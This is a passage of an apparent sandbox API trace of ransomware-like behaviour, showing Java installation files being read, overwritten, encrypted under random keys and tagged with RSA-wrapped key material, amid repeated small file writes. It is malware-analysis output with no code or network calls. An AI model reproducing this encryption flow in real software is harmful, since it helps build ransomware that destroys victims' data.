lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.873] CloseHandle (hObject=0x1e8c) returned 1 [0202.873] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.874] CloseHandle (hObject=0x1e8c) returned 1 [0202.875] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.875] CloseHandle (hObject=0x1e8c) returned 1 [0202.877] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.877] CloseHandle (hObject=0x1e8c) returned 1 [0202.879] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.880] CloseHandle (hObject=0x1e8c) returned 1 [0202.881] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.882] CloseHandle (hObject=0x1e8c) returned 1 [0202.892] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.893] CloseHandle (hObject=0x1e8c) returned 1 [0202.894] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.895] CloseHandle (hObject=0x1e8c) returned 1 [0202.895] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.896] CloseHandle (hObject=0x1e8c) returned 1 [0202.896] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.897] CloseHandle (hObject=0x1e8c) returned 1 [0202.897] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.898] CloseHandle (hObject=0x1e8c) returned 1 [0202.900] WriteFile (in: hFile=0x1e8c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.901] CloseHandle (hObject=0x1e8c) returned 1 [0202.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0202.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0202.901] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x80) returned 0 [0202.910] WriteFile (in: hFile=0x1e94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.911] CloseHandle (hObject=0x1e94) returned 1 [0202.911] WriteFile (in: hFile=0x1e94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.912] CloseHandle (hObject=0x1e94) returned 1 [0202.914] WriteFile (in: hFile=0x1e94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.915] CloseHandle (hObject=0x1e94) returned 1 [0202.917] WriteFile (in: hFile=0x1e94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.918] CloseHandle (hObject=0x1e94) returned 1 [0202.924] WriteFile (in: hFile=0x1ea4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.925] CloseHandle (hObject=0x1ea4) returned 1 [0202.935] WriteFile (in: hFile=0x1ea4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0202.936] CloseHandle (hObject=0x1ea4) returned 1 [0202.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0202.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0202.936] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", dwFileAttributes=0x80) returned 1 [0202.936] ReadFile (in: hFile=0x1ea4, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x3bb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bb, lpOverlapped=0x0) returned 1 [0202.937] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=-955, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.938] WriteFile (in: hFile=0x1ea4, lpBuffer=0x617430*, nNumberOfBytesToWrite=0x3bb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x617430*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bb, lpOverlapped=0x0) returned 1 [0202.938] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bb [0202.938] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0202.938] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0202.938] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0202.938] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0202.938] CloseHandle (hObject=0x1ea4) returned 1 [0202.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0202.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0202.956] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", dwFileAttributes=0x80) returned 1 [0202.956] ReadFile (in: hFile=0x1ea4, lpBuffer=0x34be010, nNumberOfBytesToRead=0x2371c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x2371c, lpOverlapped=0x0) returned 1 [0202.986] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=-145180, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.986] WriteFile (in: hFile=0x1ea4, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x2371c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2371c, lpOverlapped=0x0) returned 1 [0202.987] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2371c [0202.987] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0202.987] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0202.988] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0202.988] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0202.988] CloseHandle (hObject=0x1ea4) returned 1 [0202.990] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0202.990] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0202.990] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", dwFileAttributes=0x80) returned 1 [0202.990] ReadFile (in: hFile=0x1ea4, lpBuffer=0x30d8048, nNumberOfBytesToRead=0xf9bd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0xf9bd, lpOverlapped=0x0) returned 1 [0202.998] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=-63933, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.998] WriteFile (in: hFile=0x1ea4, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0xf9bd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf9bd, lpOverlapped=0x0) returned 1 [0202.998] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf9bd [0202.998] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0202.999] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0202.999] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0202.999] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0202.999] CloseHandle (hObject=0x1ea4) returned 1 [0203.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0203.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0203.001] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\release", dwFileAttributes=0x80) returned 1 [0203.001] ReadFile (in: hFile=0x1ea4, lpBuffer=0x33b5a18, nNumberOfBytesToRead=0x210, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b5a18*, lpNumberOfBytesRead=0x2e1f9bc*=0x210, lpOverlapped=0x0) returned 1 [0203.002] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=-528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.002] WriteFile (in: hFile=0x1ea4, lpBuffer=0x33b4b00*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b4b00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x210, lpOverlapped=0x0) returned 1 [0203.002] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x210 [0203.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0203.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0203.002] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0203.003] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0203.003] CloseHandle (hObject=0x1ea4) returned 1 [0203.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0203.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0203.005] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\README.txt", dwFileAttributes=0x80) returned 1 [0203.005] ReadFile (in: hFile=0x1ea4, lpBuffer=0x55aa60, nNumberOfBytesToRead=0x2e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55aa60*, lpNumberOfBytesRead=0x2e1f9bc*=0x2e, lpOverlapped=0x0) returned 1 [0203.006] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=-46, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.006] WriteFile (in: hFile=0x1ea4, lpBuffer=0x55aad0*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55aad0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2e, lpOverlapped=0x0) returned 1 [0203.006] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2e [0203.006] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0203.006] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0203.007] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0203.007] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0203.007] CloseHandle (hObject=0x1ea4) returned 1 [0203.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0203.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0203.008] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\LICENSE", dwFileAttributes=0x80) returned 1 [0203.009] ReadFile (in: hFile=0x1ea4, lpBuffer=0x56ed30, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56ed30*, lpNumberOfBytesRead=0x2e1f9bc*=0x28, lpOverlapped=0x0) returned 1 [0203.082] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=-40, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.082] WriteFile (in: hFile=0x1ea4, lpBuffer=0x56ebe0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56ebe0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x28, lpOverlapped=0x0) returned 1 [0203.082] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x28 [0203.082] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0203.082] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0203.083] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0203.083] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0203.083] CloseHandle (hObject=0x1ea4) returned 1 [0203.084] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0203.084] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0203.084] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", dwFileAttributes=0x80) returned 1 [0203.085] ReadFile (in: hFile=0x1ea4, lpBuffer=0x2f768d0, nNumberOfBytesToRead=0xcac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f768d0*, lpNumberOfBytesRead=0x2e1f9bc*=0xcac, lpOverlapped=0x0) returned 1 [0203.100] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=-3244, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.101] WriteFile (in: hFile=0x1ea4, lpBuffer=0x30f4890*, nNumberOfBytesToWrite=0xcac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4890*, lpNumberOfBytesWritten=0x2e1f9bc*=0xcac, lpOverlapped=0x0) returned 1 [0203.101] SetFilePointer (in: hFile=0x1ea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xcac [0203.101] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0203.101] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0203.101] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0203.102] WriteFile (in: hFile=0x1ea4, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0203.102] CloseHandle (hObject=0x1ea4) returned 1 [0203.107] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.108] CloseHandle (hObject=0x1eb0) returned 1 [0203.109] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.110] CloseHandle (hObject=0x1eb0) returned 1 [0203.110] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.111] CloseHandle (hObject=0x1eb0) returned 1 [0203.111] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.112] CloseHandle (hObject=0x1eb0) returned 1 [0203.126] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.127] CloseHandle (hObject=0x1eb0) returned 1 [0203.128] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.129] CloseHandle (hObject=0x1eb0) returned 1 [0203.131] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.132] CloseHandle (hObject=0x1eb0) returned 1 [0203.133] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.133] CloseHandle (hObject=0x1eb0) returned 1 [0203.136] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.136] CloseHandle (hObject=0x1eb0) returned 1 [0203.138] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.139] CloseHandle (hObject=0x1eb0) returned 1 [0203.149] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, 